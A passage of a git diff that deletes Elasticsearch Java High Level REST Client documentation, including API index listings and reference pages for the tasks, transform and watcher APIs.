-* <<{upid}-clear-roles-cache>>
-* <<{upid}-clear-privileges-cache>>
-* <<{upid}-clear-realm-cache>>
-* <<{upid}-clear-api-key-cache>>
-* <<{upid}-authenticate>>
-* <<{upid}-has-privileges>>
-* <<{upid}-get-user-privileges>>
-* <<java-rest-high-security-get-certificates>>
-* <<java-rest-high-security-put-role-mapping>>
-* <<java-rest-high-security-get-role-mappings>>
-* <<java-rest-high-security-delete-role-mapping>>
-* <<java-rest-high-security-create-token>>
-* <<{upid}-invalidate-token>>
-* <<{upid}-get-builtin-privileges>>
-* <<{upid}-get-privileges>>
-* <<{upid}-put-privileges>>
-* <<{upid}-delete-privileges>>
-* <<{upid}-create-api-key>>
-* <<{upid}-get-api-key>>
-* <<{upid}-invalidate-api-key>>
-
-include::security/put-user.asciidoc[]
-include::security/get-users.asciidoc[]
-include::security/delete-user.asciidoc[]
-include::security/enable-user.asciidoc[]
-include::security/disable-user.asciidoc[]
-include::security/change-password.asciidoc[]
-include::security/put-role.asciidoc[]
-include::security/get-roles.asciidoc[]
-include::security/delete-role.asciidoc[]
-include::security/delete-privileges.asciidoc[]
-include::security/get-builtin-privileges.asciidoc[]
-include::security/get-privileges.asciidoc[]
-include::security/clear-roles-cache.asciidoc[]
-include::security/clear-privileges-cache.asciidoc[]
-include::security/clear-realm-cache.asciidoc[]
-include::security/clear-api-key-cache.asciidoc[]
-include::security/authenticate.asciidoc[]
-include::security/has-privileges.asciidoc[]
-include::security/get-user-privileges.asciidoc[]
-include::security/get-certificates.asciidoc[]
-include::security/put-role-mapping.asciidoc[]
-include::security/get-role-mappings.asciidoc[]
-include::security/delete-role-mapping.asciidoc[]
-include::security/create-token.asciidoc[]
-include::security/invalidate-token.asciidoc[]
-include::security/put-privileges.asciidoc[]
-include::security/create-api-key.asciidoc[]
-include::security/get-api-key.asciidoc[]
-include::security/invalidate-api-key.asciidoc[]
-
-[role="xpack"]
-== Watcher APIs
-
-:upid: {mainid}-watcher
-:doc-tests-file: {doc-tests}/WatcherDocumentationIT.java
-
-The Java High Level REST Client supports the following Watcher APIs:
-
-* <<{upid}-start-watch-service>>
-* <<{upid}-stop-watch-service>>
-* <<java-rest-high-x-pack-watcher-put-watch>>
-* <<{upid}-get-watch>>
-* <<java-rest-high-x-pack-watcher-delete-watch>>
-* <<java-rest-high-watcher-deactivate-watch>>
-* <<{upid}-ack-watch>>
-* <<{upid}-activate-watch>>
-* <<{upid}-execute-watch>>
-* <<{upid}-watcher-stats>>
-
-include::watcher/start-watch-service.asciidoc[]
-include::watcher/stop-watch-service.asciidoc[]
-include::watcher/put-watch.asciidoc[]
-include::watcher/get-watch.asciidoc[]
-include::watcher/delete-watch.asciidoc[]
-include::watcher/ack-watch.asciidoc[]
-include::watcher/deactivate-watch.asciidoc[]
-include::watcher/activate-watch.asciidoc[]
-include::watcher/execute-watch.asciidoc[]
-include::watcher/watcher-stats.asciidoc[]
-
-[role="xpack"]
-== Graph APIs
-
-The Java High Level REST Client supports the following Graph APIs:
-
-* <<java-rest-high-x-pack-graph-explore>>
-
-include::graph/explore.asciidoc[]
-
-////
-Clear attributes that we use to document that APIs included above so they
-don't leak into the rest of the documentation.
-////
---
-:api!:
-:request!:
-:response!:
-:doc-tests-file!:
-:upid!:
---
-
-[role="xpack"]
-== CCR APIs
-
-:upid: {mainid}-ccr
-:doc-tests-file: {doc-tests}/CCRDocumentationIT.java
-
-The Java High Level REST Client supports the following CCR APIs:
-
-* <<{upid}-ccr-put-follow>>
-* <<{upid}-ccr-pause-follow>>
-* <<{upid}-ccr-resume-follow>>
-* <<{upid}-ccr-unfollow>>
-* <<{upid}-ccr-forget-follower>>
-* <<{upid}-ccr-put-auto-follow-pattern>>
-* <<{upid}-ccr-delete-auto-follow-pattern>>
-* <<{upid}-ccr-get-auto-follow-pattern>>
-* <<{upid}-ccr-pause-auto-follow-pattern>>
-* <<{upid}-ccr-resume-auto-follow-pattern>>
-* <<{upid}-ccr-get-stats>>
-* <<{upid}-ccr-get-follow-stats>>
-* <<{upid}-ccr-get-follow-info>>
-
-include::ccr/put_follow.asciidoc[]
-include::ccr/pause_follow.asciidoc[]
-include::ccr/resume_follow.asciidoc[]
-include::ccr/unfollow.asciidoc[]
-include::ccr/forget_follower.asciidoc[]
-include::ccr/put_auto_follow_pattern.asciidoc[]
-include::ccr/delete_auto_follow_pattern.asciidoc[]
-include::ccr/get_auto_follow_pattern.asciidoc[]
-include::ccr/pause_auto_follow_pattern.asciidoc[]
-include::ccr/resume_auto_follow_pattern.asciidoc[]
-include::ccr/get_stats.asciidoc[]
-include::ccr/get_follow_stats.asciidoc[]
-include::ccr/get_follow_info.asciidoc[]
-
-[role="xpack"]
-== Index Lifecycle Management APIs
-
-:upid: {mainid}-ilm
-:doc-tests-file: {doc-tests}/ILMDocumentationIT.java
-
-The Java High Level REST Client supports the following Index Lifecycle
-Management APIs:
-
-* <<{upid}-ilm-put-lifecycle-policy>>
-* <<{upid}-ilm-delete-lifecycle-policy>>
-* <<{upid}-ilm-get-lifecycle-policy>>
-* <<{upid}-ilm-explain-lifecycle>>
-* <<{upid}-ilm-start-ilm>>
-* <<{upid}-ilm-stop-ilm>>
-* <<{upid}-ilm-status>>
-* <<{upid}-ilm-retry-lifecycle-policy>>
-* <<{upid}-ilm-remove-lifecycle-policy-from-index>>
-
-
-include::ilm/put_lifecycle_policy.asciidoc[]
-include::ilm/delete_lifecycle_policy.asciidoc[]
-include::ilm/get_lifecycle_policy.asciidoc[]
-include::ilm/explain_lifecycle.asciidoc[]
-include::ilm/start_lifecycle_management.asciidoc[]
-include::ilm/stop_lifecycle_management.asciidoc[]
-include::ilm/lifecycle_management_status.asciidoc[]
-include::ilm/retry_lifecycle_policy.asciidoc[]
-include::ilm/remove_lifecycle_policy_from_index.asciidoc[]
-
-[role="xpack"]
-== Snapshot Lifecycle Management APIs
-
-:upid: {mainid}-ilm
-:doc-tests-file: {doc-tests}/ILMDocumentationIT.java
-
-The Java High Level REST Client supports the following Snapshot Lifecycle
-Management APIs:
-
-* <<{upid}-slm-put-snapshot-lifecycle-policy>>
-* <<{upid}-slm-delete-snapshot-lifecycle-policy>>
-* <<{upid}-ilm-get-lifecycle-policy>>
-* <<{upid}-slm-start-slm>>
-* <<{upid}-slm-stop-slm>>
-* <<{upid}-slm-status>>
-* <<{upid}-slm-execute-snapshot-lifecycle-policy>>
-* <<{upid}-slm-execute-snapshot-lifecycle-retention>>
-
-
-include::ilm/put_snapshot_lifecycle_policy.asciidoc[]
-include::ilm/delete_snapshot_lifecycle_policy.asciidoc[]
-include::ilm/get_snapshot_lifecycle_policy.asciidoc[]
-include::ilm/start_snapshot_lifecycle_management.asciidoc[]
-include::ilm/stop_snapshot_lifecycle_management.asciidoc[]
-include::ilm/snapshot_lifecycle_management_status.asciidoc[]
-include::ilm/execute_snapshot_lifecycle_policy.asciidoc[]
-include::ilm/execute_snapshot_lifecycle_retention.asciidoc[]
-
-
-[role="xpack"]
-[[transform_apis]]
-== {transform-cap} APIs
-
-:upid: {mainid}
-:doc-tests-file: {doc-tests}/TransformDocumentationIT.java
-
-The Java High Level REST Client supports the following {transform}
-APIs:
-
-* <<{upid}-get-transform>>
-* <<{upid}-get-transform-stats>>
-* <<{upid}-put-transform>>
-* <<{upid}-update-transform>>
-* <<{upid}-delete-transform>>
-* <<{upid}-preview-transform>>
-* <<{upid}-start-transform>>
-* <<{upid}-stop-transform>>
-
-include::transform/get_transform.asciidoc[]
-include::transform/get_transform_stats.asciidoc[]
-include::transform/put_transform.asciidoc[]
-include::transform/update_transform.asciidoc[]
-include::transform/delete_transform.asciidoc[]
-include::transform/preview_transform.asciidoc[]
-include::transform/start_transform.asciidoc[]
-include::transform/stop_transform.asciidoc[]
-
-== Enrich APIs
-
-:upid: {mainid}-enrich
-:doc-tests-file: {doc-tests}/EnrichDocumentationIT.java
-
-The Java High Level REST Client supports the following Enrich APIs:
-
-* <<{upid}-enrich-put-policy>>
-* <<{upid}-enrich-delete-policy>>
-* <<{upid}-enrich-get-policy>>
-* <<{upid}-enrich-stats>>
-* <<{upid}-enrich-execute-policy>>
-
-include::enrich/put_policy.asciidoc[]
-include::enrich/delete_policy.asciidoc[]
-include::enrich/get_policy.asciidoc[]
-include::enrich/stats.asciidoc[]
-include::enrich/execute_policy.asciidoc[]
diff --git a/docs/java-rest/high-level/tasks/cancel_tasks.asciidoc b/docs/java-rest/high-level/tasks/cancel_tasks.asciidoc
deleted file mode 100644
index 69c317efa82..00000000000
--- a/docs/java-rest/high-level/tasks/cancel_tasks.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[[java-rest-high-cluster-cancel-tasks]]
-=== Cancel Tasks API
-
-The Cancel Tasks API allows cancellation of a currently running task.
-
-==== Cancel Tasks Request
-
-A `CancelTasksRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[cancel-tasks-request]
---------------------------------------------------
-There are no required parameters. The task cancellation command supports the same
-task selection parameters as the list tasks command.
-
-==== Parameters
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[cancel-tasks-request-filter]
---------------------------------------------------
-<1> Cancel a task
-<2> Cancel only cluster-related tasks
-<3> Should the request block until the cancellation of the task and its child tasks is completed.
-Otherwise, the request can return soon after the cancellation is started. Defaults to `false`.
-<4> Cancel all tasks running on nodes nodeId1 and nodeId2
-
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[cancel-tasks-execute]
---------------------------------------------------
-
-==== Asynchronous Execution
-
-The asynchronous execution requires `CancelTasksRequest` instance and an
-`ActionListener` instance to be passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[cancel-tasks-execute-async]
---------------------------------------------------
-<1> The `CancelTasksRequest` to execute and the `ActionListener` to use
-when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `CancelTasksResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[cancel-tasks-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of a failure. The raised exception is provided as an argument
-
-==== Cancel Tasks Response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[cancel-tasks-response-tasks]
---------------------------------------------------
-<1> List of cancelled tasks
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[cancel-tasks-response-calc]
---------------------------------------------------
-<1> List of cancelled tasks grouped by a node
-<2> List of cancelled tasks grouped by a parent task
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[cancel-tasks-response-failures]
---------------------------------------------------
-<1> List of node failures
-<2> List of task cancellation failures
-
diff --git a/docs/java-rest/high-level/tasks/list_tasks.asciidoc b/docs/java-rest/high-level/tasks/list_tasks.asciidoc
deleted file mode 100644
index e60ca61247e..00000000000
--- a/docs/java-rest/high-level/tasks/list_tasks.asciidoc
+++ /dev/null
@@ -1,101 +0,0 @@
-[[java-rest-high-tasks-list]]
-=== List Tasks API
-
-The List Tasks API allows to get information about the tasks currently executing in the cluster.
-
-[[java-rest-high-cluster-list-tasks-request]]
-==== List Tasks Request
-
-A `ListTasksRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-request]
---------------------------------------------------
-There is no required parameters. By default the client will list all tasks and will not wait
-for task completion.
-
-==== Parameters
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-request-filter]
---------------------------------------------------
-<1> Request only cluster-related tasks
-<2> Request all tasks running on nodes nodeId1 and nodeId2
-<3> Request only children of a particular task
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-request-detailed]
---------------------------------------------------
-<1> Should the information include detailed, potentially slow to generate data. Defaults to `false`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-request-wait-completion]
---------------------------------------------------
-<1> Should this request wait for all found tasks to complete. Defaults to `false`
-<2> Timeout for the request as a `TimeValue`. Applicable only if `setWaitForCompletion` is `true`.
-Defaults to 30 seconds
-<3> Timeout as a `String`
-
-[[java-rest-high-cluster-list-tasks-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-execute]
---------------------------------------------------
-
-[[java-rest-high-cluster-list-tasks-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a cluster update settings requires both the
-`ListTasksRequest` instance and an `ActionListener` instance to be
-passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-execute-async]
---------------------------------------------------
-<1> The `ListTasksRequest` to execute and the `ActionListener` to use
-when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `ListTasksResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of a failure. The raised exception is provided as an argument
-
-[[java-rest-high-cluster-list-tasks-response]]
-==== List Tasks Response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-response-tasks]
---------------------------------------------------
-<1> List of currently running tasks
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-response-calc]
---------------------------------------------------
-<1> List of tasks grouped by a node
-<2> List of tasks grouped by a parent task
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/TasksClientDocumentationIT.java[list-tasks-response-failures]
---------------------------------------------------
-<1> List of node failures
-<2> List of tasks failures
diff --git a/docs/java-rest/high-level/transform/delete_transform.asciidoc b/docs/java-rest/high-level/transform/delete_transform.asciidoc
deleted file mode 100644
index 8416ce40e37..00000000000
--- a/docs/java-rest/high-level/transform/delete_transform.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
---
-:api: delete-transform
-:request: DeleteTransformRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete {transform} API
-
-Deletes an existing {transform}.
-
-[id="{upid}-{api}-request"]
-==== Delete {transform} request
-
-A +{request}+ object requires a non-null `id`.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new request referencing an existing {transform}
-<2> Sets the optional argument `force`. When `true`, the {transform}
-is deleted regardless of its current state. The default value is `false`,
-meaning that only `stopped` {transforms} can be deleted.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ object acknowledges the {transform} deletion.
diff --git a/docs/java-rest/high-level/transform/get_transform.asciidoc b/docs/java-rest/high-level/transform/get_transform.asciidoc
deleted file mode 100644
index 64aa0f229c4..00000000000
--- a/docs/java-rest/high-level/transform/get_transform.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
---
-:api: get-transform
-:request: GetTransformRequest
-:response: GetTransformResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get {transform} API
-
-Retrieves configuration information about one or more {transforms}.
-The API accepts a +{request}+ object and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Get {transform} request
-
-A +{request}+ requires either a {transform} ID, a comma separated list
-of ids or the special wildcard `_all` to get all {transforms}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new GET request referencing an existing {transform}
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of
-{transforms} to skip. `size` specifies the maximum number of
-{transforms} to get. Defaults to `0` and `100` respectively.
-<2> Whether to ignore if a wildcard expression matches no {transforms}.
-
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the requested {transforms}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/transform/get_transform_stats.asciidoc b/docs/java-rest/high-level/transform/get_transform_stats.asciidoc
deleted file mode 100644
index cd2fcf2237c..00000000000
--- a/docs/java-rest/high-level/transform/get_transform_stats.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
---
-:api: get-transform-stats
-:request: GetTransformStatsRequest
-:response: GetTransformStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get {transform} stats API
-
-Retrieves the operational statistics of one or more {transforms}.
-The API accepts a +{request}+ object and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Get {transform} stats request
-
-A +{request}+ requires a {transform} id or the special wildcard `_all`
-to get the statistics for all {transforms}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new GET Stats request referencing an existing {transform}
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of
-{transform} stats to skip.
-`size` specifies the maximum number of {transform} stats to get.
-Defaults to `0` and `100` respectively.
-<2> Whether to ignore if a wildcard expression matches no {transforms}.
-
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the requested {transform} statistics.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The response contains a list of `TransformStats` objects
-<2> The running state of the {transform}, for example `started`, `indexing`, etc.
-<3> The overall {transform} statistics recording the number of documents indexed etc.
-<4> The progress of the current run in the {transform}. Supplies the number of docs left until the next checkpoint
-and the total number of docs expected.
-<5> The assigned node information if the task is currently assigned to a node and running.
diff --git a/docs/java-rest/high-level/transform/preview_transform.asciidoc b/docs/java-rest/high-level/transform/preview_transform.asciidoc
deleted file mode 100644
index 377aba597a6..00000000000
--- a/docs/java-rest/high-level/transform/preview_transform.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
---
-:api: preview-transform
-:request: PreviewTransformRequest
-:response: PreviewTransformResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Preview {transform} API
-
-Previews the results of a {transform}.
-
-The API accepts a +{request}+ object as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Preview {transform} request
-
-A +{request}+ takes a single argument: a valid {transform} config.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The source config from which the data should be gathered
-<2> The pivot config used to transform the data
-<3> The configuration of the {transform} to preview
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the preview documents
diff --git a/docs/java-rest/high-level/transform/put_transform.asciidoc b/docs/java-rest/high-level/transform/put_transform.asciidoc
deleted file mode 100644
index 20aaaa74405..00000000000
--- a/docs/java-rest/high-level/transform/put_transform.asciidoc
+++ /dev/null
@@ -1,133 +0,0 @@
---
-:api: put-transform
-:request: PutTransformRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put {transform} API
-
-Creates a new {transform}.
-
-The API accepts a +{request}+ object as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Put {transform} request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The configuration of the {transform} to create
-<2> Whether or not to wait to run deferrable validations until `_start` is called.
-This option should be used with care as the created {transform} will run
-with the privileges of the user creating it. Meaning, if they do not have privileges,
-such an error will not be visible until `_start` is called.
-
-[id="{upid}-{api}-config"]
-==== {transform-cap} configuration
-
-The `TransformConfig` object contains all the details about the
-{transform} configuration and contains the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config]
---------------------------------------------------
-<1> The {transform} ID
-<2> The source indices and query from which to gather data
-<3> The destination index and optional pipeline
-<4> How often to check for updates to the source indices
-<5> The PivotConfig
-<6> Optional free text description of the {transform}
-
-[id="{upid}-{api}-query-config"]
-
-==== SourceConfig
-
-The indices and the query from which to collect data.
-If query is not set, a `match_all` query is used by default.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-config]
---------------------------------------------------
-
-==== DestConfig
-
-The index where to write the data and the optional pipeline
-through which the docs should be indexed
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-dest-config]
---------------------------------------------------
-
-===== QueryConfig
-
-The query with which to select data from the source.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-query-config]
---------------------------------------------------
-
-==== PivotConfig
-
-Defines the pivot function `group by` fields and the aggregation to reduce the data.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-pivot-config]
---------------------------------------------------
-<1> The `GroupConfig` to use in the pivot
-<2> The aggregations to use
-
-===== GroupConfig
-The grouping terms. Defines the group by and destination fields
-which are produced by the pivot function. There are 3 types of
-groups
-
-* Terms
-* Histogram
-* Date Histogram
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-group-config]
---------------------------------------------------
-<1> The destination field
-<2> Group by values of the `user_id` field
-
-===== AggregationConfig
-
-Defines the aggregations for the group fields.
-// TODO link to the supported aggregations
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-agg-config]
---------------------------------------------------
-<1> Aggregate the average star rating
-
-===== SettingsConfig
-
-Defines settings.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-settings-config]
---------------------------------------------------
-<1> The maximum paging size for the {transform} when pulling data
-from the source. The size dynamically adjusts as the {transform}
-is running to recover from and prevent OOM issues.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ acknowledges the successful creation of
-the new {transform} or an error if the configuration is invalid.
diff --git a/docs/java-rest/high-level/transform/start_transform.asciidoc b/docs/java-rest/high-level/transform/start_transform.asciidoc
deleted file mode 100644
index 9de2a0da23d..00000000000
--- a/docs/java-rest/high-level/transform/start_transform.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
---
-:api: start-transform
-:request: StartTransformRequest
-:response: StartTransformResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Start {transform} API
-
-Starts a {transform}.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Start {transform} request
-
-A +{request}+ object requires a non-null `id`.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new start request referencing an existing
-{transform}
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> Controls the amount of time to wait until the {transform} starts.
-
-include::../execution.asciidoc[]
-
-==== Response
-
-The returned +{response}+ object acknowledges the {transform} has
-started.
diff --git a/docs/java-rest/high-level/transform/stop_transform.asciidoc b/docs/java-rest/high-level/transform/stop_transform.asciidoc
deleted file mode 100644
index ce49434318d..00000000000
--- a/docs/java-rest/high-level/transform/stop_transform.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
---
-:api: stop-transform
-:request: StopTransformRequest
-:response: StopTransformResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Stop {transform} API
-
-Stops a started {transform}.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Stop {transform} request
-
-A +{request}+ object requires a non-null `id`. `id` can be a comma separated
-list of IDs or a single ID. Wildcards, `*` and `_all` are also accepted.
-
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new stop request referencing an existing {transform}.
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> If true wait for the {transform} task to stop before responding.
-<2> Controls the amount of time to wait until the {transform} stops.
-<3> Whether to ignore if a wildcard expression matches no {transforms}.
-
-include::../execution.asciidoc[]
-
-==== Response
-
-The returned +{response}+ object acknowledges the {transform} has stopped.
diff --git a/docs/java-rest/high-level/transform/update_transform.asciidoc b/docs/java-rest/high-level/transform/update_transform.asciidoc
deleted file mode 100644
index ffde48ae186..00000000000
--- a/docs/java-rest/high-level/transform/update_transform.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
---
-:api: update-transform
-:request: UpdateTransformRequest
-:response: UpdateTransformResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Update {transform} API
-
-Updates an existing {transform}.
-
-The API accepts a +{request}+ object as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Update {transform} request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The update configuration with which to update the {transform}.
-<2> The ID of the configuration to update.
-<3> Whether or not to wait to run deferrable validations until `_start` is called.
-This option should be used with care as the created {transform} will run
-with the privileges of the user creating it. Meaning, if they do not have privileges,
-such an error will not be visible until `_start` is called.
-
-[id="{upid}-{api}-config"]
-==== {transform-cap} update configuration
-
-The `TransformConfigUpdate` object contains all the details about updated
-{transform} configuration and contains the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config]
---------------------------------------------------
-<1> The source indices and query from which to gather data.
-<2> The destination index and optional pipeline.
-<3> How often to check for updates to the source indices.
-<4> How to keep the {transform} in sync with incoming data.
-<5> Optional free text description of the {transform}.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the updated {transform} configuration 
-or an error if the update failed or is invalid.
diff --git a/docs/java-rest/high-level/watcher/ack-watch.asciidoc b/docs/java-rest/high-level/watcher/ack-watch.asciidoc
deleted file mode 100644
index 7dfc3faad8e..00000000000
--- a/docs/java-rest/high-level/watcher/ack-watch.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: ack-watch
-:request: AckWatchRequest
-:response: AckWatchResponse
---
-
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Ack watch API
-
-[id="{upid}-{api}-request"]
-==== Execution
-
-{ref}/actions.html#actions-ack-throttle[Acknowledging a watch] enables you
-to manually throttle execution of a watch's actions. A watch can be acknowledged
-through the following request:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The ID of the watch to ack.
-<2> An optional list of IDs representing the watch actions that should be acked.
-If no action IDs are provided, then all of the watch's actions will be acked.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the new status of the requested watch:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The status of a specific action that was acked.
-<2> The acknowledgement state of the action. If the action was successfully
-acked, this state will be equal to `AckStatus.State.ACKED`.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/watcher/activate-watch.asciidoc b/docs/java-rest/high-level/watcher/activate-watch.asciidoc
deleted file mode 100644
index 6cbe0344e34..00000000000
--- a/docs/java-rest/high-level/watcher/activate-watch.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
---
-:api: activate-watch
-:request: ActivateWatchRequest
-:response: ActivateWatchResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Activate watch API
-
